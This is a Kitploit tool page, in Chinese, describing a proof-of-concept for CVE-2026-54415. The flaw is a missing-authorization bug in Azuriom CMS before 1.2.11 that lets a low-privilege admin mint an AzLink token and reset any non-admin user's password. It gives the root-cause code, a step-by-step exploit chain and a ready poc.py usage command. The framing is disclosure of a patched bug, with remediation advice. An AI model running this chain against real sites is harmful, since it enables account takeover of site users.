Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-54415-PoC — 用于 CVE-2026-54415 的 PoC — Azuriom CMS (<1.2.11) 访问控制失效 → 账户接管 | Kitploit
工具/GitHubGitHub/abdugafforov-bobur/cve-2026-54415-poc
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试身份验证学习与教育
GitHubabdugafforov-bobur/cve-2026-54415-poc

CVE-2026-54415-PoC

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

用于 CVE-2026-54415 的 PoC — Azuriom CMS (<1.2.11) 访问控制失效 → 账户接管

查看仓库
2213个月前尚未审核
分享

CVE-2026-54415 —— Azuriom CMS 访问控制失效 → 账户接管

Azuriom CMS < 1.2.11 中管理员服务器管理路由缺少授权检查,导致任何低权限管理员(仅持有 admin.access)都能生成 AzLink 服务器令牌并接管任意非管理员账户。

CVECVE-2026-54415
产品Azuriom CMS
受影响版本< 1.2.11
修复版本1.2.11 —— 提交 4b744bc
CWECWE-862(缺少授权)、CWE-269(权限管理不当)
CVSS 3.18.1 高危 —— AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CVSS 4.08.6 高危 —— AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

此 PoC 仅针对已修复版本发布,用于防御和教育目的。请仅在你拥有或明确获授权测试的系统上运行。请升级到 Azuriom 1.2.11+。

✅ 已在本地 Azuriom 1.2.10 实例上完成端到端验证 —— 访问控制绕过、令牌生成、确认修改密码 + 受害者登录,以及管理员保护边界。


根本原因

在 routes/admin.php 中,整个管理面板由单一的 can:admin.access 组把关,每个敏感功能本应自行添加细粒度的 can:admin.* 中间件。在 1.2.11 之前,服务器管理路由发布时未附带此类中间件:

// routes/admin.php (vulnerable, < 1.2.11)
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');

因此,任何能够进入管理面板的用户(admin.access)都可以创建服务器。当时完全没有 admin.servers 权限——该权限直到修复版本才出现。

修复(1.2.11)

厂商新增了 admin.servers 权限并将路由包裹其中:

// routes/admin.php (fixed, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
    Route::resource('servers', ServerController::class)->except('show');
    Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
    Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});

同一提交还为 social-links 和 pages/posts.attachments 路由补充了此前缺失的权限检查。


为什么创建服务器 = 账户接管

创建服务器会生成一个 32 字符的服务器令牌(app/Http/Controllers/Admin/ServerController.php):

$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);

该令牌用于认证 AzLink API(routes/api.php),其 VerifyServerToken 中间件信任任何携带有效 Azuriom-Link-Token 头的请求。AzLink 暴露了以下账户管理端点:

POST /api/azlink/password   → change a user's password by game_id
POST /api/azlink/email      → change a user's email by game_id
POST /api/azlink/register   → create users
POST /api/azlink/user/{id}/money/{add,remove,set}

updatePassword 仅在目标 isAdmin() 时拒绝请求——每个非管理员账户都可被接管:

public function updatePassword(Request $request) {
    // validates game_id + password
    $user = User::where('game_id', $request->input('game_id'))->firstOrFail();
    if ($user->isAdmin()) { return response()->noContent(); }   // only admins are protected
    $user->update(['password' => $request->input('password')]);
    ...
}

令牌无需可达的游戏服务器

保存前,服务器创建过程会调用 $server->bridge()->verifyLink()。对于 mc-azlink 类型,该调用无条件返回 true:

// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }

因此,攻击者只需提供任意虚构的 address,服务器照常保存,而新生成的令牌会显示在管理面板中的 AzLink 设置命令里(/azlink setup <url> <token>)。


利用链

1. Authenticate as a low-priv admin  (only admin.access — NO admin.servers, which didn't exist)
2. POST /admin/servers   name=x&type=mc-azlink&address=127.0.0.1   → server saved, token minted
3. GET  /admin/servers/{id}/edit                                   → read token from setup command
4. POST /api/azlink/password   (header Azuriom-Link-Token: <token>)  game_id=<victim>&password=<new>
5. Log in as the victim                                            → full account takeover

使用方法

python3 poc.py \
  --url https://target.example \
  --admin-user lowpriv_admin --admin-pass 'password' \
  --victim-game-id 1001 \
  --new-password 'Pwn3d!TakenOver'

该脚本会执行登录、生成服务器令牌、提取令牌、通过 AzLink 重置受害者密码,并输出令牌 + 结果。所有参数详见 poc.py --help。需要 requests(pip install requests)。


修复建议

  • 升级到 Azuriom 1.2.11 或更高版本。
  • 审计 admin_servers 并撤销任何意外的服务器令牌。
  • 遵循最小权限原则:审计哪些角色持有 admin.access。

披露信息

  • 研究员 / 报告者: Bobur Abdugafforov(@abdugafforov-bobur)
  • 由 CNA 分配:TuranSec
  • 发布时间:2026-06-17
  • 厂商已在 1.2.11 中修复

参考链接

  • 修复提交:https://github.com/Azuriom/Azuriom/commit/4b744bc0dd11f205f5aa053c6db8a949d3f0608e
  • 发布版本:https://github.com/Azuriom/Azuriom/releases/tag/v1.2.11
  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-54415

许可证

MIT —— 仅限授权的安全测试与研究使用。

下载工具